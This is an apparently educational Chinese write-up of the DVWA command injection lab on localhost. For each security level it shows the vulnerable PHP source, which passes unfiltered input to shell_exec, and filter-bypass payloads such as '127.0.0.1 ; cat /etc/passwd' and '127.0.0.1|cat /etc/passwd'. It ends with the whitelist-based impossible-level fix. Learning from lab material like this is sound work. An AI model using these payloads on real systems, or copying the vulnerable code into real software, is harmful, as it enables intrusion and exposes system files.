命令注入漏洞是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序, 并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源。 PHP命令注入攻击中有一些具有命令执行功能的函数,system() exec() shell_exec() popen() ,可能存在命令注入漏洞。 在Linux中也有一些命令连接符 & | && || ;,也可能存在命令注入漏洞。
请求页面 让我们输入IP地址,那就用 127.0.0.1来小试一下
响应页面
low 请求 看到是POST请求,参数为 ip Submit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /vulnerabilities/exec/ HTTP/1.1 Host : localhostContent-Length : 26Cache-Control : max-age=0sec-ch-ua : sec-ch-ua-mobile : ?0sec-ch-ua-platform : ""Upgrade-Insecure-Requests : 1Origin : http://localhostContent-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://localhost/vulnerabilities/exec/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : security=low; PHPSESSID=re4k3en5q4a2e9pqidrd3it4a3; security=lowConnection : closeip =127.0 .0.1 &Submit=Submit
源码 可以看到,代码逻辑:根据操作系统类型,执行 ping命令并且将结果输出到网页。没有对用户输入进行过滤,这显然是非常危险的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; }?>
攻击思路 可以尝试用以下命令
符号
说明
A;B
A 不论正确与否都会执行 B 命令,顺序执行
A&B
A 后台运行,A 和 B 同时执行
A&&B
A 执行成功时候才会执行 B 命令,逻辑与
A|B
A 执行的输出结果,作为 B 命令的参数,管道符号
A||B
A 执行失败后才会执行 B 命令,逻辑或
1 2 3 4 5 127.0.0.1 ; cat /etc/passwd 127.0.0.1 & cat /etc/passwd 127.0.0.1 && cat /etc/passwd 127.0.0.1 | cat /etc/passwd 233 || cat /etc/passwd
127.0.0.1 ; cat /etc/passwd 就用它吧,比较顺眼的分号,谁让它是我们常见的语句结束符;
medium 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; $substitutions = array ( '&&' => '' , ';' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; }?>
攻击思路 源码增加了对 && ; 这两种情况的过滤,但是仍然可以通过其他方式注入
1 2 3 127.0.0.1 & cat /etc/passwd 127.0.0.1 | cat /etc/passwd aaa || cat /etc/passwd
high 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = trim ($_REQUEST [ 'ip' ]); $substitutions = array ( '&' => '' , ';' => '' , '| ' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , '||' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; }?>
攻击思路 源码进一步增加了输入过滤替换,几乎把命令连接符通通过滤了。但是,有意思的是管道符号后有个关键的空格 '| ' => '',,也就是说仍然可以通过管道符号进行命令注入
1 127.0.0.1|cat /etc/passwd
impossible 敲黑板,开始学习了!那个往外看的!
源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $target = $_REQUEST [ 'ip' ]; $target = stripslashes ( $target ); $octet = explode ( "." , $target ); if ( ( is_numeric ( $octet [0 ] ) ) && ( is_numeric ( $octet [1 ] ) ) && ( is_numeric ( $octet [2 ] ) ) && ( is_numeric ( $octet [3 ] ) ) && ( sizeof ( $octet ) == 4 ) ) { $target = $octet [0 ] . '.' . $octet [1 ] . '.' . $octet [2 ] . '.' . $octet [3 ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>' ; } }generateSessionToken ();?>
攻击思路 可以看到,对输入的 ip 进行了“残忍的肢解过滤再拼接”,等同于白名单过滤了。相当于,牛来了都只能被切开变成毛肚,牛排,牛肉片,最后在火锅游啊游。怎么感觉输入不过虑像是生吃牛肉一样,不生病才怪!
总结一下 实际上注入漏洞在很多方面都存在,比如说sql注入 反序列化 模板注入 。根本上,注入得以实现就是利用了输入过滤的疏忽,可以这么说,注入是输入过滤的漏网之鱼。